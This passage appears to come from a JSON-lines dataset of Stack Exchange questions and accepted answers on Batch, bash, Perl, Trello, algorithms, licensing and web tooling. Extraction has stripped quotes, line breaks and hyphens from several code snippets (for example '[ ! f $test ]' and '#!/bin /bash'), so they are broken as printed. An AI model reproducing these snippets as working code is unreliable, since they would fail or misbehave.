information."  , "title": "Login System In Batch"  , "tags": "authentication;batch"  , "accepted_answer": "My main recommendation is that your variables have more descriptive names. While !x! may seem like a reasonable variable name for a counter that you're never going to use again, calling it something like !counter! makes your code easier for other people to maintain when there's a lot more of it.I also got rid of ENABLEEXTENSIONS because that's enabled by default, and I moved cd users above :login_menu because if somebody enters an invalid user number and you're already in the users folder, your code will try to go into the users folder that's inside of the users folder and since there isn't one, you'll get an error.To cut out that nested for loop, I stored the username map in an array. From there, you can determine whether or not a username is valid by if the variable exists.Finally, I replaced the !s that you echoed with ^^!s so that they would be escaped. Because you have delayed expansion enabled, the last bit of your code would be displayed as HeyuserN because batch would consider ! You're logged in as ! to be a variable (because that's a valid variable name in batch).If you could guarantee that you would never have more than ten users, you could build a string for a choice list to guarantee that the user would never enter an invalid user number, but I assumed this would be used by a large number of people.@echo offsetlocal enabledelayedexpansioncd users:login_menuset user_counter=1for %%A in (*.user) do (    echo !user_counter!. %%~nA    set users[!user_counter!]=%%~nA    set /a user_counter+=1)echo.set /p user_selection=Select user: if %user_selection%== goto login_menuif not defined users[%user_selection%] (    echo That user does not exist^^!    pause    goto login_menu)set user_name=!users[%user_selection%]!:enter_passwordfor /f tokens=1,2 delims=: %%E in (!user_name!.user) do set stored_password=%%Fecho Enter your password, !user_name!echo.set /p entered_password=Password: if %entered_password%==%stored_password% goto menuecho.echo That password is invalid^^!pausegoto enter_password:menuecho Hey^^! You're logged in as !user_name!^^!pause"  } 
{  "id": "_scicomp.1454"  , "question": "Note: the following post may include controversial opinions, so pleasenote that they are only my opinions, and not intended to offendanyone.I'm being programming in some form or the other since around 1999. Iinitially used R, and then later, around 2004, mostly switched toPython.For many scientific applications, for example, simulation,including such things as MCMC, both R and Python are too slow and needto be sped up. The usual way of doing so is by extending with C orC++. For both R and Python, this is what I did, using R's C API withC++, and the Boost Python library with Python.However, for various reasons, this combination is not the idealsolution. What is important in programming, particularly algorithms?Expressiveness and speed, which are of course related. The moreexpressive a language, the faster one can write in it.1) As far as expressiveness goes, neither R nor Python are reallyideal for writing scientific algorithms in my opinion. They do notclosely map to the underlying algorithm. However, they are bothconsiderably better than C++.2) I enjoy writing in Python, which is a pleasant language, though asnoted above it is not ideal for algorithmic work. However, when one hasto work with a Python/C++ combination because of speed issues, thismix becomes considerably less pleasant to work with. What usuallyhappens is that I first write in Python, and once I have somethingthat is working well, often discover that it is too slow (for somesubjective value of too slow). I then face the decision of whether tospend some unreasonable amount of time rewriting it in C++, or put upwith the slowness. In hindsight I often feel I might have been betteroff putting up with the slowness, especially as the speedups obtainedare unpredictable. Also, the Boost Python interface between the two isa significant maintenance headache, and having code in two verydifferent languages glued together like this is just distracting. Nocriticism of Boost Python intended, it is as powerful an interface asone could imagine, and pretty much just works most of the time.Now, in an ideal world, with unlimited time and resources, neither ofthese problems would be a major deal. However, in scientific projectsI have worked on, I've had the following experience.Whether or not I have collaborators on the project, I always seem towind up doing the vast majority of the computing. In a total of 5significant projects, I only had substantial participation from onepeople on one project. That one person did more than pull his weight;he did as much as me or more. However, in all other cases, includingprojects with multiple collaborators, I've done (virtually) all thecomputational work. While I can say that I have not been blessed withthe best collaborators (it seems to be a mixture of laziness andincompetence) it is not clear to me whether this state of affairs islikely to change in the future.Computational scientific work is an enormous amount of effort, and ifI can't change how my collaborators behave, I can change the way Iwork. The most important improvement would be to get things done morequickly. Which brings me to the main consideration here, which is thatswitching languages to something less orthodox may help. Based on pastresearch, the most likely candidates in order of likelihood are CommonLisp and Ocaml. I've been thinking about this for years, but recentlyhave been thinking about it more seriously.As far I can tell, few people use either CL or Ocaml for scientificcomputation. On searching this site, I found two references to CL (onewas mine) and one to Ocaml (mine). I've had a couple of encouragingcontacts over the years with adventurous people working on thefringe. In 2008 I came across a bookreview of Peter Seibel'sPractical Common Lisp (which I own), by Tamas K. Papp. This caughtmy attention, since it was one of the few mentions of scientific computingfor Lisp that I had come across on the net. I wrote to Tamas, who immediatelyreplied helpfully and encouragingly. To quote himMy programming productivity probably increased tenfold with Lisp, but  that took about a year to happen and I am still learning (I was doing  quite well after 2 months though).  So if you are working on something  time-critical, then postpone the switch.You should consider asking folks on c.l.l, I am not the only one who  knows about these things, others do scientific computing on Lisp.He also has a blog and a GitHubpage.Another person I briefly corresponded with (in December 2006) was IraKalet, who has used CommonLisp in the context of radiation oncology.Perhaps there are others who do scientific computing on Lisp, but Idon't know of anyone.The most common problem people cite with CL is the lack oflibraries. This is a severe problem in general purpose computing, butmay not be so much so in scientific computing, particularly from theground up implementations of algorithms. Specifically, I can get bymost of the time with a basic math library, including probabilitydistribution functions, a multidimensional array library, and abasic set of containers e.g. map, set, list etc. as found in the C++ andPython standard libraries.I know even less about Ocaml than I do about CL, but threw that in as analternative. It is supposedly very fast, has one free implementationby French researchers, and seems like the most viable of the ML familyof languages for scientific computing.To conclude, I'm wondering if others have experience with this, andwhat thoughts they have, if any. EDIT: I'm mostly interested in first hand experience, in the context of the issues I've discussed above. E.g. if you used to use Python and C++ (or R and C++) and moved to a more obscure language, I'd be most interested in hearing about your experiences."  , "title": "Using unconventional programming languages for scientific computation"  , "tags": "languages"  } 
{  "id": "_unix.310893"  , "question": "After a photo shoot I have two folders: JPGs (files *.jpg) and RAWs (files *.CR2). Usually I take a look in the JPGs folder and delete those ones that I don't like. What I want is to create a bash script to check: for file.cr2 in folder.getFiles   if file.jpg is NOT in folder2.getfiles       delete file.cr2I have seen some examples with rsync but with files with the same extension and I'm not very good at bash, so I can do it in C but I want to learn."  , "title": "synchronize files with different extension in MacOS"  , "tags": "bash;shell script;files;osx;rm"  , "accepted_answer": "Try this:for file in cr2files/*; do   test=jpgfiles/$(basename ${file:: -3})jpg   if [ ! f $test ]; then      echo $file   fidoneIf it gets the results that you want, you can replace the line - echo $file - with - rm $file -. The line  test=jpgfiles/$(basename ${file:: -3])jpg  removes the path and extention from the file name and replaces them with jpgfile/filename.jpg . Remember to change the pathnames cr2files and jpgfiles to the correct ones. You can use variables if you like or pass the path names to your script in arguments. Edit:Your space in Toshiba ser was messing up basename. Heres the solution:#!/bin /bashIFS=for file in $1/*; do   test=$2/$(basename ${file:: -3})jpg   if [ ! f $test ]; then      rm $file   fidoneCall it like this  ./removephotos.sh volumes/toshiba ser/raw volumes/toshiba ser/jpg. Take note that there is nothing between the single quotes in IFS='' on line #2."  } 
{  "id": "_webapps.89198"  , "question": "How can I automatically number a list in Trello? For example on my board I have a list named to do and 3 items in this list: shopping, cleaning, haircut. Is it possible to have these items numbered automatically by Trello? And if I move one item into another list can Trello renumber the items automatically according to the list the item is in?"  , "title": "Numbered list in Trello"  , "tags": "trello"  } 
{  "id": "_cstheory.18670"  , "question": "Here is a nearest neighbor problem.Given reals $a_1, \\ldots, a_n$ (very large $n$!), plus target real $p$, find $a_i$ and $a_j$ whose SUM is closest to $p$. We allow reasonable pre-processing/indexing of $a_1, \\ldots, a_n$ (up to $O(n \\log n)$), but at query time (given $p$), the result should be returned very fast (e.g., $O(\\log n)$ time).(Simpler example: if we only wanted the SINGLE $a_i$ that is closest to $p$, we would sort $a_1, \\ldots, a_n$ offline, $O(n \\log n)$, then do binary search at query time, $O(\\log n)$).Solutions that don't work:1) Sort $a_1, \\ldots, a_n$ offline, then at query time, start from both ends & move two pointers inward (http://bit.ly/1eKHHDy). Not good, because of $O(n)$ query time.2) Sort $a_1, \\ldots, a_n$ offline, then at query time, take each $a_i$ and perform binary search for a buddy that helps it sum to something close to $p$. Not good, because of $O(n \\log n)$ query time.3) Sort all pairs $(a_{1}, \\ldots, a_{n})$ offline, then do binary search. Not good, because of $O(n^2)$ pre-processing.Thanks!ps. Further generalizations needed for practice: (1) $a_1, \\ldots, a_n$ and $p$ to be 50-dimensional vectors, (2) close to be vector cosine distance, and (3) $k$-best closest pairs-that-sum, not just 1-best."  , "title": "Select two numbers that sum to $p$, using sub-linear query time"  , "tags": "ds.algorithms;cg.comp geom;ds.data structures"  , "accepted_answer": "This is almost certainly impossible.Suppose you could solve your problem with preprocessing time $P(n)$ and query time $Q(n)$.  Then there is a simple algorithm to solve the 3SUM problemGiven a set of $n$ real numbers, do any three elements sum to zero?in $P(n)+n\\cdot Q(n)$ time.  We pre-process all the numbers, then for each number $a_k$, we find the value of $a_i+a_j$ that is closest to $-a_k$; if it matches $-a_k$ exactly, we have found a solution to the 3SUM problem.However, the fastest algorithm known for 3SUM runs in $O(n^2)$ time, and this algorithm is widely conjectured to be optimal.  Moreover, there is a matching $\\Omega(n^2)$ lower bound in a restricted but natural decision tree model of computation.  For sets of integers, there are slightly subquadratic-time algorithms that play games with bits, but even in the integer RAM model, 3SUM is conjectured to require $\\Omega(n^2/\\text{polylog}\\,n)$ time.So assuming that conjecture is correct, your problem either requires (near-)quadratic preprocessing time or (near-)linear query time."  } 
{  "id": "_unix.207319"  , "question": "I'm new to the world of Raspberry 2 and Linux and I have install Chromium on the Raspberry.  I did this because I thought it would be a good way to access my Google Chrome Bookmarks (Favourites).  However, I'm having problems.  When I log into Chromium in order to sync, I get the message:The sync server is busy, please try again later.I've tried a few hours later, next day, etc.  I suspect the sync server being busy is not the problem.Can anyone tell me how to fix this problem and help me sync my bookmarks?The version of Chromium is:22.0.1229.94.  I vaguely understand it's possible to get a later version.  I'm new to Linux and would have to be told the explicit steps to do so.  The Linux I'm running came with the Raspberry 2 and is some flavor of Debian (I'd report the version number if I knew where to look!).Finally, I'm not wedded to Chromium.  I just want a browser where I can seemy Chrome bookmarks and (ideally) have them synced every time I add a bookmark to Chrome or the browser on Raspberry."  , "title": "How to sync bookmarks (favourites) between Google Chrome and Chromium"  , "tags": "chrome;synchronization;bookmarks"  } 
{  "id": "_cs.56487"  , "question": "Most of websites put some restrictions on how to use their services; the following paragraphs are taken from Terms of Service of such website:Only one account per computer is allowed to view ads. If more than one account in a single computer view ads, all of those accounts will be permanently suspended.User can only use a maximum of 3 distinct computers in a 10 days period to view ads. Any attempt to use more than that in that defined period will cause an account suspension.Question:No problem with such rules, they must be respected. But I want to know how can servers recognize a specific computer!Is there a computer fingerprint that would be transferred through HTTP connection and can identify each computer?"  , "title": "How Can a Network Server Identify a Specific Computer, Is There a Computer Fingerprint?"  , "tags": "computer networks;security;protocols"  } 
{  "id": "_cs.48436"  , "question": "I know that we can prove closure of two regular languages under operations like union, intersection, concatenation etc. by constructing NFAs for them but how to do the same thing using regular expressions, specifically proving that reversal of a regular language is closed using regular expression?"  , "title": "How to prove closure property of regular languages using regular expressions?"  , "tags": "formal languages;regular languages;proof techniques;regular expressions;closure properties"  } 
{  "id": "_softwareengineering.187963"  , "question": "I have heard of several situations of people using say, JavaScript or Python (or something), inside a program written in C#. When would using a language like JavaScript to do something in a C# program be better then just doing it in C#? "  , "title": "When would using a scripting language within a larger program be useful?"  , "tags": "scripting"  } 
{  "id": "_unix.209807"  , "question": "I was trying to install a perl module Future::Utils on my Ubuntu machine but didn't find the exact command. I tried this command but it didn't work:sudo apt-get install libfuture-utils-perlI have this result when i run this command:Reading package lists... DoneBuilding dependency treeReading state information... DoneE: Unable to locate package libfuture-perlCan you help me resolve this issue"  , "title": "Installing perl modules"  , "tags": "ubuntu;apt;perl;libraries"  } 
{  "id": "_webapps.35270"  , "question": "I have an event on Facebook that a number of people are attending. I'd like to send a message to each of the attendees, and I'd like the message to start with 'Hi !'. This is similar to the old concept of mail merge where you have a list of recipients whose data you fill in to a template message before sending it to them. Any ideas on how I could go about doing this? Any 3rd-party tools that you can use to script Facebook?"  , "title": "How can you 'mail merge' on Facebook?"  , "tags": "email;facebook"  , "accepted_answer": "Cannot be done natively through Facebook. Your only hope is to be able to export your Facebook contacts and run them through a mail merge on your local. Or try and upload/import the contacts list to Gmail and use Google Docs as a way to send out personalised mass emails.If you wanted to try your hand at the Gmail & Google Docs method, Create a Mail Merge with Gmail and Google Docs has some steps. They are roughly thus:Create a new Google Docs SpreadsheetSelect Mail Merge from the menu and allow authorisation access to Gmail and/or Google ContactsCreate a new group on Google Contacts with the emails and details of those you want to send toClick Mail Merge  Import Google Contacts and select the name of the new group. The details should import.Compose the email as desiredGo to the Mail Merge menu and click Start Mail Merge. The sending will begin and update.There's a little more nuance in the link mentioned, but listed here is the general step direction you'll be taking."  } 
{  "id": "_webapps.5953"  , "question": "Is there any way to see the list of top words searched for on Google? I'm looking for a range of somewhere like 100-500 words.The problem with Google Hot Trends/Searches and Google Zeitgeist is that it shows searches, not words. Here's an example of why the latter is more important to me. Say I want to find out if a lot of people are using search engines to find recipes. You would think that I could look at the term recipe and find this out. However, this is not the case because recipe will only show me the results for people searching for recipe as a single keyword (e.g. they are looking for recipe sites). I'm looking for how many people are actually looking for recipes with queries such as pumpkin pie recipe, scones recipe, etc.The problem with Google Trends is that it only shows you the popularity of a single term over time, or it allows you to compare it to other terms. This can't easily be used to for the scenario I presented above.If this is not possible, I'm also looking for a way to do the opposite, that is, given a word, I want to know how popular it is. For example I would ask how popular the word email is, and then it would say something like 86, indicating that email is the 86th most searched word on Google. The closest thing I found is this page which claims to list the top 500 search words, but it doesn't mention where it gets its data from or which search engine it is talking about.Note: if other popular search engines provide this feature, I would be interested in those as well."  , "title": "Google top 100 words searched for"  , "tags": "google search;analytics;search engine"  } 
{  "id": "_webapps.92219"  , "question": "My Facebook messages are entering on my email account as well, I tried to delete email address from my Facebook account but I am having a problem. How can I block Facebook messages from coming to my email account?"  , "title": "Facebook messages on my email account"  , "tags": "facebook;facebook messages"  } 
{  "id": "_webmaster.5940"  , "question": "I'm using codeigniter + jquery on a linux server and i want to integrate in my website a photo/image editor (after that an user have uploaded an image, he must be able to edit it), i need just some simple tools, zoom in and zoom out, brightness and contrast. A good solution may be a java, flash, silverlight applet or something like that.Any idea?Tnx Claudio"  , "title": "Image editor Applet"  , "tags": "html;images;jquery;flash;silverlight"  , "accepted_answer": "Another awesome solution would be Pixlr. It has many photoshop-like features (and I mean MANY - for a web app, that is), and has a decent API. Check it out here.And yes, I would, too, stay away from java and silverlight tools. Pixlr would most probably be just fine for any web user.PS: I think it's better than Picnik (which, if I remember correctly, is now owned by Google)."  } 
{  "id": "_softwareengineering.342536"  , "question": "Let's say I have a forum application running, and I start building a separate web application with a Python web framework. Both applications use their own MySQL databases, which contain their own respective user account tables. What would be the best approach to keeping the users between the databases in sync? I want to make it so that I can login with the same information on both applications. "  , "title": "Keeping data between two databases in sync"  , "tags": "database;web development;synchronization"  } 
{  "id": "_softwareengineering.333160"  , "question": "There's currently a huge growth in larger companies offering new languages and / or frameworks for us to use to create websites, apps or software and I'm interested to know for what reason do people think this is? There's always been a few big players (Java, C++, Perl Php, VB, C#, Ruby etc) but a chunk of those were created by enthusiasts whose reason for doing so is more obvious.These days all the big tech giants are pushing their own Languages and Frameworks hard in a fight for our usage (I group Languages and Frameworks together as the growth seems pretty similar and will more than certainly be for similar reasons). For example, Apple is pushing and developing Swift at an astonishing speed, Google's Go has had amazing growth, although C# has been around for some time Microsoft has finalised (I think!) the official release of .Net Core and that shows a big shift in their goals towards multi platform and open-sourcing.What do companies gain from this? Especially as the majority of them are now open-source, I'm interested to get an idea financially why they do it? With all the resources and man-time needed to create, fine tune and document them and offering, more often the not, the majority of the same features and performance of competitors - why do they seem so desperate for us as developers to jump ship and hop on board their boat/s?Is it quite simply for marketing reasons to maintain an outer view of technological advancement, making the company seem like a leader of tech or do they get something else for developers creating tools using their Languages / Frameworks?It's less obvious than it was in the days of Microsoft wanting you to develop .Net so that you would need Windows and use IIS to host and Visual Studio to develop - with .Net Core that's not the case. Apple working with IBM to make Swift an option for web programming again moves things away from locking you down like you used to have to do to use a Mac to create iOS apps.Compile to Javascript languages and Javascript frameworks have been one of the biggest growth areas - How can Facebook profit over Google for getting more developers using React, GraphQL etc instead of Angular 2? And vice-versa? Both are free, with free resources and no tie-in as far as deployment is concerned, e,g you don't need to use Google Cloud Platform for Angular apps. After listening to a number of Podcasts recently and reading plenty of articles I find it interesting how team members and fans of each are extolling the virtues of there Language / Framework above the others with subtle digs the other way - is this just like nerd evangelism or is there more to it? Even with something like creating a strongly typed version of Javascript, Typescript and Flow get pushed in equal measure and seems from the outside like a mini war between Facebook and Microsoft for gorwth and traction. I could go on with load of examples (eg Xamarin, React Native, Native etc) but have probably got the idea across - what's going on here?"  , "title": "Why is there such a fight for companies to produce new languages + frameworks"  , "tags": "programming languages;frameworks;microsoft;google;apple"  , "accepted_answer": "Companies are doing this in order to make some product or platform (on which they earn a profit) more attractive. For example Apple is developing Swift in order to make iOS development more attractive for developers. The hope is of course more iOS developers means more apps which in turn makes the platform more attractive for consumers, which means Apple will sell more iOS devices and earn more money. Pretty simple.In other cases the profit motive is more indirect. For example Sun developing Java. Sun had their own hardware, but Java was deliberately cross-platform. The reason was Windows at the time had a near-monopoly on desktop platforms which meant developers only developed software for Windows, which made other platforms like Suns less attractive for consumers. A vicious circle from the perspective of Sun. The hope was Java would encourage developers to write cross-platform software, thereby making the non-windows platforms more attractive for consumers..Net was developed as a counter-measure from Microsoft, since Java attracted many developers because it seemed more modern than Microsoft's offerings (VB and C++). Microsoft therefore tried to deliver a similar modern platform but still tied to the Windows platform.If you look into other platforms and frameworks you can see the same forces at work again an again.The change in the .Net strategy (from Windows-specific to cross-platform) is clearly because Windows have lost in the mobile platform market. .Net was created to solidify a virtual desktop monopoly, but now the goal is basically the opposite, to create a cross-platform environment to fight the lock-in by iOS and Android. So basically Microsoft has the role Sun had, and Apple has the role Microsoft had.Google and Facebook have pushed HTML and JavaScript heavily. This has primarily been to make the web a stronger platform and to make it more attractive compared to platform-specific development which advantage the platform-owners like Microsoft and Apple. Microsoft used to fight the web and sabotage web standards, but after they lost the battle for the mobile platforms they (not surprisingly) have become great proponent for the platform-independent web, and even work together with Google on Typescript."  } 
{  "id": "_webapps.100328"  , "question": "I use Google Calendar and attend a few Meetups, and when I RSVP to a Meetup event, Gmail automatically makes an entry in my calendar for the Meetup from the notification email meetup sends. And keeps it updated, and that is really nice. But... I've noticed that people I share my calendar with, like my wife, kids, and a few friends, can't see those events. They think I'm free that evening, when I'm not. That's (really) bad, because I depend on Google Calendar to keep us all on the same page. "  , "title": "Google Calendar entries from Meetup marked Private; family can't see I'm going out"  , "tags": "google calendar;meetup"  } 
{  "id": "_webapps.8662"  , "question": "When I use Google's OAuth system to login to a website (e.g. a StackExchange site), I see it use a string similar to the following: www.google.com/accounts/o8/id?id=oethionbmqnjbonthaenthiqb_tneohqjb2oeDoes this string contain any personal identifiable information? For example, is my email address encoded in this string? How about the file it links to? Basically I'm wondering if there is any way that someone can know my email address if they have this string.I realize that when you authorize a site, you send them your email address. That's not what I'm asking about. I'm only concerned about this URL specifically and what information, if any, can be deduced by it."  , "title": "Does Google's OAuth URL embed my email address?"  , "tags": "google account;oauth"  , "accepted_answer": "The string itself doesn't contain personal information but it points to where information can be obtained.Fear not, Google will tell you what information will be passed (depends on what the target application requires) and ask you for your approval beforehand, each time you use your OAuth/OpenID on a new site, so if someone just have the link, won't learn your e-mail address unless you allow it (per site).Currently Google's OpenID system won't allow you to choose what info you want to be passed, it's just a yes to all or no to all, so if you really want to limit the passed information, better use an alternative, like myOpenID for example."  } 
{  "id": "_unix.275189"  , "question": "The following perl script consume-10-lines-and-exit reads ten lines from stdin and prints them. After that it exits.#!/usr/bin/env perluse strict;use warnings FATAL => 'all';for (my $i = 0; $i < 10; $i++) {    my $line = <STDIN>;    print $line;}I'm trying to combine consume-10-lines-and-exit and cat in such a way that the first ten lines of input and consumed and printed by the first command and then the rest are consumed by cat.The following code few snippets all print 1 through 10 instead of 1 through 13 like I was expecting.printf '1 2 3 4 5 6 7 8 9 10 11 12 13' \\    | tr ' ' '\\n' | { perl consume-10-lines-and-exit; cat; }printf '1 2 3 4 5 6 7 8 9 10 11 12 13' \\    | tr ' ' '\\n' | ( perl consume-10-lines-and-exit; cat )printf '1 2 3 4 5 6 7 8 9 10 11 12 13' \\    | tr ' ' '\\n' | sh -c 'perl consume-10-lines-and-exit; cat'Is there a construction for sequencing commands so they will read input from stdin until they exit and then the next command will continue where the previous one left off?"  , "title": "How to make two commands consume input from stdin sequentially?"  , "tags": "shell"  , "accepted_answer": "Your problem is that perl is using buffered input, so reads ahead beyond the lines you want to consume. Try this byte-by-byte version:perl -e 'use strict;use warnings FATAL => all;for (my $i = 0; $i < 10; $i++) {  my $line;  while(sysread(*STDIN,my $char,1)==1){      $line .= $char;      last if $char eq \\n;  }  print $line;}'"  } 
{  "id": "_unix.9669"  , "question": "When configured accordingly (set header_cache=) mutt saves the mail headers in a cache file.  That could be used to generate mail statistics.  Does anybody know something about the file format?  Are there any tools available to extract the information contained? (Besides strings, grep, awk and the like)"  , "title": "How can I generate email statistics from mutt header cache?"  , "tags": "mutt"  , "accepted_answer": "Short answer:it's entirely possible that the cache will not be comprehensive.  If you delete mail and hcache later recomputes the header cache for that mailbox, your stats will not include mail from before the deletion.If you don't have access to the mail logs for your server, do you have access to a filter mechanism, e.g. procmail? You could use that to generate an alternative log for analysis.Otherwise, can you poll your mailbox with a program that can generate a log of mail received?  Something like an offlineimap filter, or fetchmail/retchmail combined with some hashing and caching.Longer answer:The cache file is a DBM-style database.  Depending on the exact build options for your mutt, it could be one of QDBM, tokyo cabinet, gdbm or Berkeley DB (BDB); which all implement a variation of BDB's API.I believe that it is unlikely you can reliably read the DB unless you use the right library implementation. ldd tells me my local mutt uses the tokyo cabinet implementation:$ ldd /usr/bin/muttlibtokyocabinet.so.8 => /usr/lib/libtokyocabinet.so.8 (0xb74f2000)You would then need to write a program, using that library, to query the BDB stored within the cache file. There are bindings for Perl, Ruby, Lua, Java, and of course C.It would appear that headers are stored as values in the DB, indexed by a CRC.  From what I can tell, the CRC is derived from the path to a mailbox, which implies that the stored headers are the headers for all mail in that mailbox.  So your program is essentially going to end up with a buffer containing all headers for all mail in a given mailbox.  I don't think it will be much more useful than pulling the headers from all mail currently in your mailbox (and given the short answer above, not guaranteed to be more reliable)."  } 
{  "id": "_opensource.5480"  , "question": "I manage a project with a very long open source history - Zikula (and https://github.com/zikula/core).Zikula grew out of PHPNuke and PostNuke. Most of the oldest code is long gone, but some legacy remains. Early documentation states Zikula is free software released under the GPL license!. Most files within the project have a header which directs to a copy of the GPL or LGPL and there is a NOTICE which discusses the mixture of licenses within. Additionally, we depend heavily on Symfony which uses MIT and contributions since beginning on Github in March 2010 are tagged as MIT. We also have many vendors within the project of various licensing.We have a ticket requesting some clarity on the licensing and I am unable to answer. First, because of the information above and second because of my lack of understanding.I think I would prefer Zikula be licensed with a permissive license like MIT or LGPL (as I believe they are?). The GPL seems to be too restrictive for our case, but likely was the dominant option at the time (15 - 20 years ago?). From what I understand the GPL is infections and subjugates other licenses within the project.How can I straighten out this spaghetti? I'm a coder, not a lawyer. How do I audit the current code base and know what was contributed under what licensing and how do I ensure compliance in the future? How to I mix these licenses together or change and relicense as MIT/LGPL or similar?"  , "title": "How to Audit licensing of old project?"  , "tags": "licensing;license recommendation;license compatibility;relicensing;multi licensing"  , "accepted_answer": "This is going to be long, because changing the license from the GPL to a more permissive license is really complicated for a project that is big, old, and has many contributors.Which licenseAn open-source license should not be chosen because it is popular, but because it is aligned with your goals:Strong copyleft licenses like the GPL (and for web apps: the AGPL) try to maximize freedom for end users of any application using this code. This limits how other developers can use the code.Weaker copyleft licenses like the LGPL don't ensure end-user freedoms for the complete application, but only to those components subject to the license. This allows developers to incorporate such code into proprietary projects under certain conditions, but does not allow them to turn the code proprietary.Permissive licenses like the MIT license and Apache License 2.0 try to maximize freedoms for developers at the expense of end users. Developers can create and distribute modified versions without having to publish their source code. For new projects, the Apache License 2.0 should probably be strongly preferred since it includes a contributor patent grant.The license change proccessA license change is a social problem. You will need buy-in and agreement of your community. If the idea of a license change is received positively, you can:Stop accepting contributions unless the contributors explicitly agree to relicense their changes to the new license.Contact all copyright holders of all past contributions, and ask them to license their contributions to your project under the new license. You should keep a permanent record of their consent to this license change. Ideally you get a signed letter. In practice, I guess using GitHub issues would be OK. You can ping contributors in an issue with @example mentions.Note that the contributors don't always personally hold the copyright to their contributions, e.g. if the copyright belongs to their employer. You would then have to get permission from their employer at the time.Wait for the responses to roll in. This may take multiple months. Remember that contributors may be on a vacation, may have shifted their focus away from open-source contributions, or may be dead. You can try to follow up if they don't respond in a reasonable time frame.If everyone agreed, you can change all license headers and publish the project with the changed license.A note on licensing new contributions differently in a GPL projectI see your pull request template specifies the MIT license. This is a great step to give you maximum flexibility during this relicensing.But since your current license is GPL, any contributions are derivative of existing GPL code in the project and therefore also have to be GPL-licensed. Your contributors do not have the right to issue them under the new license unless you can give them the code under the new license, which requires that all previous contributions have been relicensed.These changes are therefore not MIT-licensed, but the contributors have given you the option of relicensing them later under the MIT license or a compatible license. If a contributor has given you this option for all their contributions, there is no need to contact them about the license change.Dealing with code where consent to license change could not be obtainedIf not everyone agreed to the license change, this becomes more complicated. Silence is not consent! If someone does not respond, you have to assume that they oppose the license change.If a contributor died, note that their copyright term extends for 70 years after death in most jurisdictions. You can try to contact the current copyright owners, most likely the deceased contributor's estate.If you have anonymous or pseudonymous contributions, relicensing is exceedingly difficult and I won't discuss that here.If a contributor only made very minor contributions that do not pass the threshold of originality, then these contributions are not subject to copyright and you do not need their permission to relicense the project including these licenses. Where this threshold is set depends on the case law in your jurisdiction. This threshold does not give you a right to use these contributions, but just a possible legal defence when accused of copyright violation in respect to these changes. I would be uncomfortable relying on this for anything more substantial than typo fixes.You can track the license status independently for each file or component. The possible statuses are:The file or component still includes GPL code.All past and present contributors agreed to license change, but the file or component directly or indirectly depends on GPL code.All past and present contributors agreed to license change, and the file or component has no dependencies on GPL code.Only in the last case can you update the file to display the copyright/license header for the new license. This might allow you to immediately relicense some components, if your project has a suitable architecture (a win for decoupling and inversion of control!). But while even one piece of GPL code is still present in the project, the project as whole remains subject to the GPL.For the remaining GPL files, you can try to rewrite them so that they no longer include GPL parts. This is quite tricky because the GPL is a copyleft license: although the other authors of the file agree to the license change, their contributions are derived from GPL code so they can only license their changes under the GPL, not under the new license. It is therefore not sufficient to just rewrite any lines touched by a contributor who didn't agree to the license change. You will have to rewrite the complete file or component from scratch, preferably as a clean-room implementation.As an additional difficulty, GPL code may have been copypasted within the project. Again, the pasted code and any code derived from the pasted code may not be relicensed until the original author has agreed to the license change. Auditing for this might be very difficult, unless the problematic contributions are fairly recent and comparatively minor.ConclusionDepending on your goals, resources, and community, this might be over fairly quickly, or be a long process that extends across multiple months or even years. And it could be the case that significant authors do not agree with the license change, thus requiring unreasonable effort to eliminate their contributions. In that case, you may want to accept that the project has been locked in to the GPL, and clarify your documentation to reflect this license."  } 
{  "id": "_vi.4172"  , "question": "I am pretty new to Vim and I need some help with work-flow developing in C++.Currently, I am using Sublime Text as my primary editor for the following work-flow:Lets say I am working on RingBuffer class, for which I have ring_buffer.hring_buffer.cppunittest\\ring_buffer_mock.hunittest\\ring_buffer_test.cpp and unittest\\ring_buffer.makefile.Each makefile has its own set of dependencies.  Sublime Text allows you to add a build system, which runs a shell command defined by user in project file, and parses the output.  To test the Ring Buffer, I go to menu->tools->BuildSystem->RingBuffer.  So here is the questionCan you recommend a good work-flow in VIM?Is it possible in local .vimrc to specify makefile, such as ring_buffer.makefile?EDIT! First off, set makeprg=make\\ -f\\ ring_buffer.makefile works well, but it does not offer any automation.  So I am going to ask a second question which can be found here:Determining makefile based on source file name"  , "title": "Specify Makefile"  , "tags": "vimrc"  } 
{  "id": "_webmaster.16248"  , "question": "According to the apache FilesMatch docs:The FilesMatch directive provides  for access control by filenameBasically, I only want to set an expires header for resources that have a 10 digit cache buster id appended to the name. So, here is my attempt at such a thing in my httpd.conf<FilesMatch (jpg|jpeg|png|gif|js|css)\\?\\d{10}$>    ExpiresActive On    ExpiresDefault now plus 5 minutes</FilesMatch>And here is an example of a resource I want to match:http://localhost:3000/images/of/elvis/eating-a-bacon-sandwich.png?1306277384Now obviously my FilesMatch regexp is not matching so I am guessing 1 of 2 things is happening. Either my regexp is wonky or the '?1231231231' cache busting part of the file is not part of what apache considers part of the filename. Can anybody confirm and/or give me a way to cache only those resources that will not persist beyond the next deploy?"  , "title": "Apache FilesMatch regexp: Can it match by the cache buster 10 digit (rails generated) following the filename?"  , "tags": "apache2;httpd.conf"  } 
{  "id": "_softwareengineering.158603"  , "question": "I was going through the source code of an open source framework, where I saw a variable payload mentioned many times. Any ideas what payload stands for?"  , "title": "What does the term Payload mean in programming"  , "tags": "terminology;variables"  , "accepted_answer": "The term 'payload' is used to distinguish between the 'interesting' information in a chunk of data or similar, and the overhead to support it. It is borrowed from transportation, where it refers to the part of the load that 'pays': for example, a tanker truck may carry 20 tons of oil, but the fully loaded vehicle weighs much more than that - there's the vehicle itself, the driver, fuel, the tank, etc. It costs money to move all these, but the customer only cares about (and pays for) the oil, hence, 'pay-load'.In programming, the most common usage of the term is in the context of message protocols, to differentiate the protocol overhead from the actual data. Take, for example, a JSON web service response that might look like this (formatted for readability):{    status:OK,    data:        {            message:Hello, world!        }}In this example, the string Hello, world! is the payload, the part that the recipient is interested in; the rest, while vital information, is protocol overhead.Another notable use of the term is in malware. Malicious software usually has two objectives: spreading itself, and performing some kind of modification on the target system (delete files, compromise system security, call home, etc.). The spreading part is the overhead, while the code that does the actual evil-doing is the payload."  } 
{  "id": "_webmaster.79668"  , "question": "I have to fix a website overloaded. The website doesn't load most times with a 503 error. I want to temporally stop it to everybody but me, so I want to deny all the IPs but mine.The server has several WordPress sites within the same hosting and domain. I have found the possibily of deny the access of the IPs I want (black listing). Unfortunatelly, I have not find how to white list the access to it. Is it possible?"  , "title": "CPanel: how to whitelist the access of the website?"  , "tags": "cpanel;filtering"  } 
